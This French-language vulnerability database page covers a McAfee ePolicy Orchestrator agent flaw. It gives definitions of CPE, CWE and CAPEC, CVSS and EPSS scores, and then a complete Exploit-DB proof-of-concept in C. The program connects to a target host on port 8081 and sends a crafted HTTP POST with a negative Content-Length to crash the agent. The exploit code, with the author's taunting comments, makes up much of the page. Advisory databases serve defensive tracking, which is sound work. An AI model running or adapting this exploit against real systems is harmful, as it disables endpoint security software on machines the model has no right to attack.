CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
McAfee ePolicy Orchestrator agent allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value, possibly triggering a buffer overflow.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
6.21%
–
–
2022-04-03
–
–
6.21%
–
–
2022-11-13
–
–
6.21%
–
–
2022-11-20
–
–
6.21%
–
–
2022-12-25
–
–
6.21%
–
–
2023-01-01
–
–
6.21%
–
–
2023-02-26
–
–
6.21%
–
–
2023-03-12
–
–
–
2.43%
–
2023-07-23
–
–
–
2.43%
–
2024-02-11
–
–
–
2.43%
–
2024-06-02
–
–
–
2.43%
–
2024-12-22
–
–
–
2.13%
–
2025-02-16
–
–
–
1.78%
–
2025-01-19
–
–
–
2.13%
–
2025-02-16
–
–
–
1.78%
–
2025-03-18
–
–
–
–
5.18%
2025-03-30
–
–
–
–
5.52%
2025-04-15
–
–
–
–
5.52%
2025-04-15
–
–
–
–
5.52,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2004-01-21 23h00 +00:00 Auteur : cyber_flash EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/9476/info
The McAfee ePolicy Orchestrator agent has been reported to a buffer management vulnerability that may be exploited to crash the affected agent. Although unconfirmed, it has been reported that the issue may also allow a remote attacker to trigger a buffer overflow vulnerability.
The issue reportedly presents itself, because certain values in HTTP POST headers processed by the ePolicy Orchestrator are not sufficiently sanitized.
/*
>McAfee ePolicy Orchestrator Agent HTTP POST Buffer Mismanagement
Vulnerability PoC
>Ref : http://securityfocus.com/bid/9476
>discovered by : cyber_flash@hotmail.com
"
The McAfee ePolicy Orchestrator agent has been reported to a buffer
management vulnerability that may be exploited to crash the affected
agent. Although unconfirmed, it has
been reported that the issue may also allow a remote attacker to trigger
a buffer overflow vulnerability.
The issue reportedly presents itself, because certain values in HTTP POST
headers processed by the ePolicy Orchestrator are not sufficiently
sanitized.
"
>Hi NA-eye ;-) . Hurry-yup . relase a patch guyz !
+ PoC by Shashank Pandey a.k.a
G0D_0F_z10N +
> Greetz to my dewd 'Arun Jose' for 'Grass is not addictive..thing' while
i wuz writing this..!
> lame coding ..dont think too much abt it...
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
int main(int argc, char *argv[])
{
WSADATA wsaData;
int s;
struct hostent *yo;
struct sockaddr_in wutever;
char badb0y[] =
"POST /spipe/pkg?AgentGuid={}&Source=Agent_3.0.0
HTTP/1.0\r\n"
"Accept: application/octet-stream\r\n"
"Accept-Language: en-us\r\n"
"Content-Type: application/octet-stream\r\n"
"User-Agent: Godzilla/6.9 (compatible; SPIPE/3.0;
Windows)\r\n"
"Host: EPO_DIE\r\n"
"Content-Length: -1\r\n"
"Connection: Keep-Alive\r\n\r\n";
printf("\n--------------------------------- ");
printf("\n McAfee ePO agent overflow PoC \n");
printf("+++++++++++++++++++++++++++++++++\n");
printf(" by Shashank Pandey \n");
printf(" (reach_shash@linuxmail.org) \n");
printf("--------------------------------- \n");
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("Error :Cudn't initiate winsock!");
return 0;
}
if(argc<2)
{printf("\nUsage : %s <I.P./Hostname>\n\n",argv[0]);
exit(0);}
if ( (yo = gethostbyname(argv[1]))==0)
{
printf("error: can't resolve '%s'",argv[1]);
return 1;
}
wutever.sin_port = htons(8081); // ePO agent uses the HTTP protocol to
communicate on port 8081
wutever.sin_family = AF_INET;
wutever.sin_addr = *((struct in_addr *)yo->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return 1;
}
if ((connect(s, (struct sockaddr *) &wutever, sizeof(wutever))) == -1){
printf("Error:Cudn't Connect\r\n");
return 1;
}
printf("\r\nCrashing the client...< it's a PoC dewd ;-) >\n");
send(s,badb0y,strlen(badb0y),0);
closesocket(s);
WSACleanup();
return 1;
}